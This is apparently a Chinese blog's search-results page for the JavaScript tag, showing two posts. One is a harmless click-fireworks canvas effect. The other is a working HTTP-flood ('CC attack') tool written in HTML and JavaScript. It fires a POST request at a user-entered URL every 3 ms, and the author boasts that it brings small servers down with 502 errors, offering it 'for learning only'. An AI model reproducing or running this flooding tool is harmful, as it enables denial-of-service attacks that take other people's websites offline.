搜索到
3
篇与
JavaScript
的结果
-
为你的网站添加点击散开特效 <canvas id="fireworks" style="position: fixed; left: 0px; top: 0px; pointer-events: none; z-index: 2147483647; width: 1920px; height: 151px;" width="3840" height="302"></canvas> <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/animejs@3.0.1/lib/anime.min.js"></script> <script type="text/javascript"> function updateCoords(e) { pointerX = (e.clientX || e.touches[0].clientX) - canvasEl.getBoundingClientRect().left, pointerY = e.clientY || e.touches[0].clientY - canvasEl.getBoundingClientRect().top } function setParticuleDirection(e) { var t = anime.random(0, 360) * Math.PI / 180, a = anime.random(50, 180), n = [-1, 1][anime.random(0, 1)] * a; return { x: e.x + n * Math.cos(t), y: e.y + n * Math.sin(t) } } function createParticule(e, t) { var a = {}; return a.x = e, a.y = t, a.color = colors[anime.random(0, colors.length - 1)], a.radius = anime.random(16, 32), a.endPos = setParticuleDirection(a), a.draw = function() { ctx.beginPath(), ctx.arc(a.x, a.y, a.radius, 0, 2 * Math.PI, !0), ctx.fillStyle = a.color, ctx.fill() }, a } function createCircle(e, t) { var a = {}; return a.x = e, a.y = t, a.color = "#F00", a.radius = .1, a.alpha = .5, a.lineWidth = 6, a.draw = function() { ctx.globalAlpha = a.alpha, ctx.beginPath(), ctx.arc(a.x, a.y, a.radius, 0, 2 * Math.PI, !0), ctx.lineWidth = a.lineWidth, ctx.strokeStyle = a.color, ctx.stroke(), ctx.globalAlpha = 1 }, a } function renderParticule(e) { for (var t = 0; t < e.animatables.length; t++) e.animatables[t].target.draw() } function animateParticules(e, t) { for (var a = createCircle(e, t), n = [], i = 0; i < numberOfParticules; i++) n.push(createParticule(e, t)); anime.timeline().add({ targets: n, x: function(e) { return e.endPos.x }, y: function(e) { return e.endPos.y }, radius: .1, duration: anime.random(1200, 1800), easing: "easeOutExpo", update: renderParticule }).add({ targets: a, radius: anime.random(80, 160), lineWidth: 0, alpha: { value: 0, easing: "linear", duration: anime.random(600, 800) }, duration: anime.random(1200, 1800), easing: "easeOutExpo", update: renderParticule, offset: 0 }) } function debounce(fn, delay) { var timer return function() { var context = this var args = arguments clearTimeout(timer) timer = setTimeout(function() { fn.apply(context, args) }, delay) } } var canvasEl = document.querySelector("#fireworks"); if (canvasEl) { var ctx = canvasEl.getContext("2d"), numberOfParticules = 30, pointerX = 0, pointerY = 0, tap = "mousedown", colors = ["#FF1461", "#18FF92", "#5A87FF", "#FBF38C"], setCanvasSize = debounce(function() { canvasEl.width = 2 * window.innerWidth, canvasEl.height = 2 * window.innerHeight, canvasEl.style.width = window.innerWidth + "px", canvasEl.style.height = window.innerHeight + "px", canvasEl.getContext("2d").scale(2, 2) }, 500), render = anime({ duration: 1 / 0, update: function() { ctx.clearRect(0, 0, canvasEl.width, canvasEl.height) } }); document.addEventListener(tap, function(e) { "sidebar" !== e.target.id && "toggle-sidebar" !== e.target.id && "A" !== e.target.nodeName && "IMG" !== e.target.nodeName && (render.play(), updateCoords(e), animateParticules(pointerX, pointerY)) }, !1), setCanvasSize(), window.addEventListener("resize", setCanvasSize, !1) } </script> -
使用JS实现CC网站攻击 今天兴趣来潮，使用原生js写了一个cc攻击，当然只是简单的写一下，对小服务器来说，可以轻松的压出502，服务器牛逼的话，没什么效果，比如本站就是小服务器，cc压下就502了，下面是源码，仅供学习使用.<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Document</title> <style> body { display: flex; align-items: center; justify-content: center; } input { height: 35px; padding: 0 10px; box-sizing: border-box; outline: none; } </style> </head> <body> <input type="text" placeholder="请输入需要被CC的网址" style="margin-right: 10px" /> <input type="button" value="开始" /> <script> let timer = null; const input = document.querySelector('input[type="text"]'); const button = document.querySelector('input[type="button"]'); button.addEventListener('click', function () { const url = input.value; if (!url) return alert('请输入需要被压的域名'); if (!url.startsWith('http')) return alert('请输入http或https开头的网址'); if (this.value === '开始') { this.value = '停止'; timer = setInterval(() => { const xhr = new XMLHttpRequest(); xhr.open('POST', url, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('name=name'); }, 3); } else { this.value = '开始'; clearInterval(timer); } }); </script> </body> </html>
-
